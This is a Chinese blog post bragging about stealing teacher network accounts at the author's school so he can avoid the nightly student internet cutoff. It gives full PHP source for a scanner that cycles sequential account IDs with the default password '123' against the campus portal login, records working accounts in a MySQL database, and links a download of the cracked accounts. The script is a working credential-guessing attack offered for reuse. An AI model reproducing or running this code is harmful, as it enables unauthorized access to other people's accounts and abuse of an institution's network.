破解学校的校园网账号密码[附源码和账号]
在我们学校的学生账号,晚上11点是要断网的,但是教师账号就不断网。这让我多不爽呀。今天想了一下,干脆盗用教师账号得了。于是写了个破解扫描账号的。把全校所有的教师账号都跑了个遍。终于扫了12个账号可以用的。还有几个可以用的,但是没充钱的。 话不多说,源码如下:
<?php function request_by_curl($remote_server, $post_string) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $remote_server); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, 'mypost=' . $post_string); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Linux; Android 6.0; MZ-M5 Note Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/45.0.2454.94 Mobile Safari/537.36"); $data = curl_exec($ch); curl_close($ch); return $data; } $id=str_pad(file_get_contents("name.txt"),4,"0",STR_PAD_LEFT); $user="swsm".$id; $pass="123"; $post_string = "wlanuserip=172.16.133.29&wlanacname=INTERNET&chal_id=&chal_vector=&auth_type=PAP&seq_id=&req_id=&wlanacIp=172.16.0.4&ssid=&vlan=&mac=&message=&bank_acct=&isCookies=&version=0&authkey=amnoon&url=http%3A%2F%2Fwww.baidu.com%2F&usertime=0&listpasscode=0&listgetpass=0&getpasstype=0&randstr=6144&domain=&isRadiusProxy=false&usertype=0&isHaveNotice=0×=12&weizhi=0&smsid=0&freeuser=&freepasswd=&listwxauth=0&templatetype=2&tname=1&logintype=0&act=&is189=false&terminalType=&checkterminal=true&portalpageid=41&listfreeauth=0&viewlogin=1&userid=".$user."&twocode=0&authGroupId=&alipayappid=&wlanstalocation=&wlanstamac=&wlanstaos=&wlanstahardtype=&useridtemp=".$user."&passwd=".$pass."&isRemind=on&portaltype=1&lg=%B5%E3%BB%F7%B5%C7%C2%BC&read=on"; $a= request_by_curl('http://172.16.252.106/portalAuthAction.do',$post_string); $b=explode(";",strip_tags($a)); // var_dump ($b); $c=iconv("gbk", "utf-8", $b[7]); echo $user; echo "<br>"; echo $pass; echo "<br>"; echo $c; echo "<br>"; $id=$id+1; echo $id; echo "<br>"; $myfile = fopen("name.txt", "w") or die("Unable to open file!"); fwrite($myfile, str_pad($id,4,"0",STR_PAD_LEFT)); fclose($myfile); $servername="localhost"; $username="root"; $password="root"; //建立连接 $con=mysql_connect($servername,$username,$password); if (!$con) { exit("数据库建立链接错误"); } //插入数据 mysql_select_db ("tongji"); mysql_query('set names charset utf8'); mysql_query('set character set utf8'); $res = mysql_query("INSERT INTO ziyuanbu (Name, sex, Age) VALUES ('$user', '$pass', '$c')"); //var_dump($res); if($res){ echo "ok"; } //关闭数据库连接 mysql_close($con); ?>
已经破解的账号: 点击下载:zhanghao.txt